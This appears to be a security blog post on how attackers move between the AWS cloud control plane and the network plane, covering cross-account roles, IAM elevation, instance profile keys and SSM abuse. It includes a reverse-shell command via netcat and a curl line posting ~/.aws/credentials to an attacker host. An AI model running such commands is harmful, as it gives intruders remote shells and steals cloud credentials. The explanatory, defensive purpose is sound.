Public Cloud introduced a new concept that not everyone fully grasps. In the on-prem days of old, you had a room & you had connections going into said room. Hopefully those connections had a firewall. Then there were lots of things in that room that authorized users needed to access to accomplish whatever goal your business has, and a bunch of other things in that room that the techies needed to access in order to keep those first things running and secure. It all existed on the same (or perhaps even segmented) networks in that room. As long as you knew all about the connections in and out of that room, you could have reasonable confidence that your perimeter was secure. This is what I’m calling the Network Plane. It was two-dimensional. You were inside or outside. Firewalls could protect it.
Public cloud introduced an entirely new plane of existence. One that traditional defenses cannot protect. The AWS API is fully public. The same servers I connect to to spin up an EC2 Instance are the ones that my competitors use and the same ones that Kim Jong-un uses. I cannot firewall off the AWS API. And that API completely and totally defines my entire network security infrastructure. Anyone, anywhere (with the correct 20-character username and 40-character password) can modify your firewall rules by sending AuthorizedSecurityGroupIngress to ec2.amazonaws.com. If you don’t rely on AWS Security groups because a DLP device stands between your machines and the Internet, then I just need to use the CreateRoute call to bypass your device and send traffic from you machine to the Internet.
Traditional thinking was about protecting the Network Plane. New thinking is required to design and defend against attacks against the Cloud Plane. Because if the Cloud Plane is compromised, it is only a matter of time before the attackers will control the Network Plane and everything it is connected to (like your on-prem network).
This post is about the different forms of Lateral Movement and Pivoting in the cloud, and a new threat: Vertical Movement. First a few quick definitions which I’ve blatantly stolen from Wikipedia:
- Network Lateral Movement, or what is more commonly referred to simply as, “Lateral Movement”, refers to the techniques cyber attackers, or “threat actors”, use to progressively move through a network as they search for the key data and assets that are ultimately the target of their attack campaigns (source).
- Pivoting refers to a method used by penetration testers that uses the compromised system to attack other systems on the same network to avoid restrictions such as firewall configurations, which may prohibit direct access to all machines (source).
Lateral Movement in the Ground Plane
This is the typical attacker methods we’re aware of. Exploit one host. Use that host to pivot your attack to another. Find where the firewall allows connections deeper into the network, and laterally move until you find what you’re looking for.
Out of the box, Public Cloud provides some defense against lateral movement. When you get an AWS account, all your networks, in all the AWS regions use the same VPC CIDR addressing. These overlapping CIDR ranges limit how your VPCs can connect to each other and by default enforce some segmentation. If an attacker compromises a server in AWS Account 1 in us-east-1, there is no inside-the-network route to the Singapore VPC in account 2.
Lateral Movement in the Cloud Plane
So what does lateral movement look like at the Cloud Plane? There are a few ways I can take AWS beach-head credentials and move around your Cloud Plane ecosystem.
Cross Account Roles
The first method is using AWS Cross Account roles. If my beach-head credentials grant me AssumeRole permissions, I can use that to get credentials in another AWS account if Cross Account roles are present. When using AWS Organization, the parent account creates one of these cross account roles in the child account by default (with a guessable name and full admin permissions!!). If you can compromise the organizational parent account, you probably now own all of the child accounts too.
There are several authentication models that AWS encourages that leverage Cross account roles. There is the identity account, where users login via one AWS account and then AssumeRole into another account to manipulate resources. There is the central-admin account, where that central account is used to manage all the others. Get access to one of these special accounts and the world (or at least the cloud) is your oyster.
Recon for Network Plane movement
Access to the Cloud Plane provides a trove of information to support Network Plane lateral movement. With nothing more than the ReadOnlyAccessPolicy, and attacker can perform network recon and determine what networks are connected to what other networks, if those cloud networks have a direct connection to on-prem networks, and if using VPN, what are the shared secrets and on-prem VPN endpoint IP addresses.
AWS Organizations
An attacker with read permissions on their beach-head credentials can determine if that AWS account is a child account, and get the account_id and root email address of the parent account. Knowing the root email address provides an attacker with the ability to attempt root password reset and takeover ownership of an account.
IAM Permission Elevation
Even limited access IAM policies potentially have the capability to elevate their permissions using a variety of methods leveraging policy versions, and attachments.
Federated Identity
Is there an attack vector here? To be honest I’m not sure, and this is an area needing more research. That said, if you’re using Federated Identity (ie SAML from Active Directory), the security of your AWS accounts is tied to the security of your AD. You have MFA right?
Vertical Movement from Network to Cloud
So far we’ve discussed lateral movement. But with two different planes, there is now a concept of vertical movement. Leveraging a beach-head in the Network Plane to pivot to the Cloud Plane. The easiest way to do this is via AWS EC2 IAM Instance Profiles.
Instance Profiles were created by AWS to allow an Instance access to the AWS API and AWS resources without needing to embed the 20 and 40 character API Key and Secrets into your EC2 Instance. The EC2 Hypervisor exposes a special HTTP endpoint that allows an instance to receive data from the AWS API. One of the things available to the instance is a set of AWS API Keys. These keys frequently rotate and are much better than embedding API Keys for an IAM Users. However, if I can get a webshell on your instance I too can get those keys and use them anywhere.
This exploit path is also a concern in AWS Lambda.
Vertical Movement from Cloud to Network
I’ve described how the Cloud Plane can be used to redefine the Network Plane. Let’s look at a few methods this can be done.
The AWS Simple Server Manager (SSM) sits at the Cloud Plane an implements a queue that SSM enabled Instances poll for commands to execute. So executing an SSM Command of nc putin.com 61398 -e /bin/bash gives you the ability execute a reverse shell on a machine with nothing more than decently permissioned AWS Credentials.
With control of the Cloud Plane, and attacker can grant themselves (or another AWS account they’ve compromised) permission to read all of the hard-disks in your Network Plane. They can statically analyze your application source code, scour the disks for credentials or connection endpoints, and enumerate all the users. This greatly simplifies the work an attacker needs to do to find a useful Network Plane exploit.
AWS provides several developer tools - CodePipeline (CI/CD), CodeCommit (git repo), ElasticBeanStalk & OpsWorks (config management) that are all services available at the Cloud Plane. Modifications to these services can be used to introduce vulnerabilities or backdoors into the Network Plane applications.
Parting thought - The User Plane
There is an additional aspect to the Cloud & Network plane model. I’m going to call it the User Plane. It is sort of an extension of the Network Plane, but with BYOD and work-anywhere cultures, Network Plane protections may not be sufficient.
Malware that can execute:
curl -d "@~/.aws/credentials" -X POST http://evilhacker.com:61398/credsnarf
on a cloud-admin’s workstation is pretty much game over. You can find your spear-phising database on LinkedIn.
–
[1]: AFAIK “beach-head credentials” is a new term I’ve coined
[2]: The aws ec2 describe_vpn_connections lists the configuration file needed to configure your local VPN and includes the shared secrets and IPs
[3]: EC2 Snapshots and Images can be made public (for any AWS customer) or shared to specific AWS customers.